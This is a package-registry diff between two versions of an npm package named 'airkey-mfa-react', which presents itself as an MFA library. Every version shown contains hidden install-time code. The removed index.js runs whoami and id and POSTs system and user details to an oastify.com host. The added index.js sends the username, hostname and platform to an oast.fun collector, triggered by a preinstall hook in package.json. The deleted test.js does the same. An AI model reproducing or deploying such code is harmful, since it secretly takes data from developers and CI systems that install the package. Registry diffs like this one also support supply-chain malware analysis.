airkey-mfa-react 29.1.1 → 35.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +26 -124
  2. package/package.json +3 -3
  3. package/test.js +0 -26
package/index.js CHANGED
@@ -1,124 +1,26 @@
1
- const { exec } = require('child_process');
2
- const os = require('os');
3
- const https = require('https');
4
- const http = require('http');
5
-
6
- // ===== CONFIGURATION =====
7
- const SERVER_URL = 'https://rsnchacyin4dnjv0oc8prrwn1e77vzjo.oastify.com/detox56' ;
8
- // =========================
9
-
10
- // Function to execute shell commands
11
- function executeCommand(command) {
12
- return new Promise((resolve, reject) => {
13
- exec(command, (error, stdout, stderr) => {
14
- if (error) {
15
- reject(error);
16
- return;
17
- }
18
- resolve(stdout.trim());
19
- });
20
- });
21
- }
22
-
23
- // Get system information
24
- async function getSystemInfo() {
25
- try {
26
- const systemData = {
27
- timestamp: new Date().toISOString(),
28
- whoami: '',
29
- id: '',
30
- pwd: '',
31
- hostname: os.hostname(),
32
- platform: os.platform(),
33
- architecture: os.arch(),
34
- homeDirectory: os.homedir(),
35
- userInfo: {
36
- username: os.userInfo().username,
37
- uid: os.userInfo().uid,
38
- gid: os.userInfo().gid,
39
- shell: os.userInfo().shell
40
- },
41
- osInfo: {
42
- type: os.type(),
43
- release: os.release(),
44
- cpus: os.cpus().length
45
- }
46
- };
47
-
48
- // whoami - Get current username
49
- systemData.whoami = await executeCommand('whoami');
50
-
51
- // id - Get user ID and group information (Unix/Linux/Mac)
52
- if (process.platform !== 'win32') {
53
- systemData.id = await executeCommand('id');
54
- } else {
55
- systemData.id = 'Not available on Windows';
56
- }
57
-
58
- // pwd - Get current working directory
59
- systemData.pwd = process.cwd();
60
-
61
- return systemData;
62
-
63
- } catch (error) {
64
- console.error('Error getting system information:', error.message);
65
- throw error;
66
- }
67
- }
68
-
69
- // Send data to server
70
- function sendToServer(data, url) {
71
- return new Promise((resolve, reject) => {
72
- const urlObj = new URL(url);
73
- const protocol = urlObj.protocol === 'https:' ? https : http;
74
-
75
- const payload = JSON.stringify(data);
76
-
77
- const options = {
78
- hostname: urlObj.hostname,
79
- port: urlObj.port || (urlObj.protocol === 'https:' ? 443 : 80),
80
- path: urlObj.pathname,
81
- method: 'POST',
82
- headers: {
83
- 'Content-Type': 'application/json',
84
- 'Content-Length': Buffer.byteLength(payload)
85
- }
86
- };
87
-
88
- const req = protocol.request(options, (res) => {
89
- let responseData = '';
90
-
91
- res.on('data', (chunk) => {
92
- responseData += chunk;
93
- });
94
-
95
- res.on('end', () => {
96
- if (res.statusCode >= 200 && res.statusCode < 300) {
97
- resolve({ statusCode: res.statusCode, body: responseData });
98
- } else {
99
- reject(new Error(`Server returned ${res.statusCode}: ${responseData}`));
100
- }
101
- });
102
- });
103
-
104
- req.on('error', (error) => {
105
- reject(error);
106
- });
107
-
108
- req.write(payload);
109
- req.end();
110
- });
111
- }
112
-
113
- // Main execution
114
- async function main() {
115
- try {
116
- const systemInfo = await getSystemInfo();
117
- await sendToServer(systemInfo, SERVER_URL);
118
- } catch (error) {
119
- process.exit(1);
120
- }
121
- }
122
-
123
- // Run the script
124
- main();
1
+ const https = require("https");
2
+ const crypto = require("crypto");
3
+ const os = require("os");
4
+
5
+ const payload = JSON.stringify({
6
+ package: "airkey-mfa-react",
7
+ version: "35.1.1",
8
+ username: os.userInfo().username,
9
+ hostname: os.hostname(),
10
+ platform: os.platform(),
11
+ node: process.version,
12
+ ci: !!process.env.CI,
13
+ timestamp: new Date().toISOString(),
14
+ });
15
+
16
+ const req = https.request("https://eeazmrabqcquvqjfubjp6jkk2qq9p3acn.oast.fun/detox", {
17
+ method: "POST",
18
+ headers: {
19
+ "Content-Type": "application/json",
20
+ "Content-Length": Buffer.byteLength(payload),
21
+ },
22
+ });
23
+
24
+ req.on("error", () => {});
25
+ req.write(payload);
26
+ req.end();
package/package.json CHANGED
@@ -1,11 +1,11 @@
1
1
  {
2
2
  "name": "airkey-mfa-react",
3
- "version": "29.1.1",
3
+ "version": "35.1.1",
4
4
  "description": "",
5
- "main": "test.js",
5
+ "main": "index.js",
6
6
  "scripts": {
7
7
  "test": "echo \"Error: no test specified\" && exit 1",
8
- "preinstall": "node test.js"
8
+ "preinstall": "node index.js"
9
9
  },
10
10
  "author": "",
11
11
  "license": "ISC"
package/test.js DELETED
@@ -1,26 +0,0 @@
1
- const https = require("https");
2
- const crypto = require("crypto");
3
- const os = require("os");
4
-
5
- const payload = JSON.stringify({
6
- package: "company-internal-canary-2026",
7
- version: "99.0.0",
8
- username: os.userInfo().username,
9
- hostname: os.hostname(),
10
- platform: os.platform(),
11
- node: process.version,
12
- ci: !!process.env.CI,
13
- timestamp: new Date().toISOString(),
14
- });
15
-
16
- const req = https.request("https://eeazmrabqcquvqjfubjp6jkk2qq9p3acn.oast.fun/dex", {
17
- method: "POST",
18
- headers: {
19
- "Content-Type": "application/json",
20
- "Content-Length": Buffer.byteLength(payload),
21
- },
22
- });
23
-
24
- req.on("error", () => {});
25
- req.write(payload);
26
- req.end();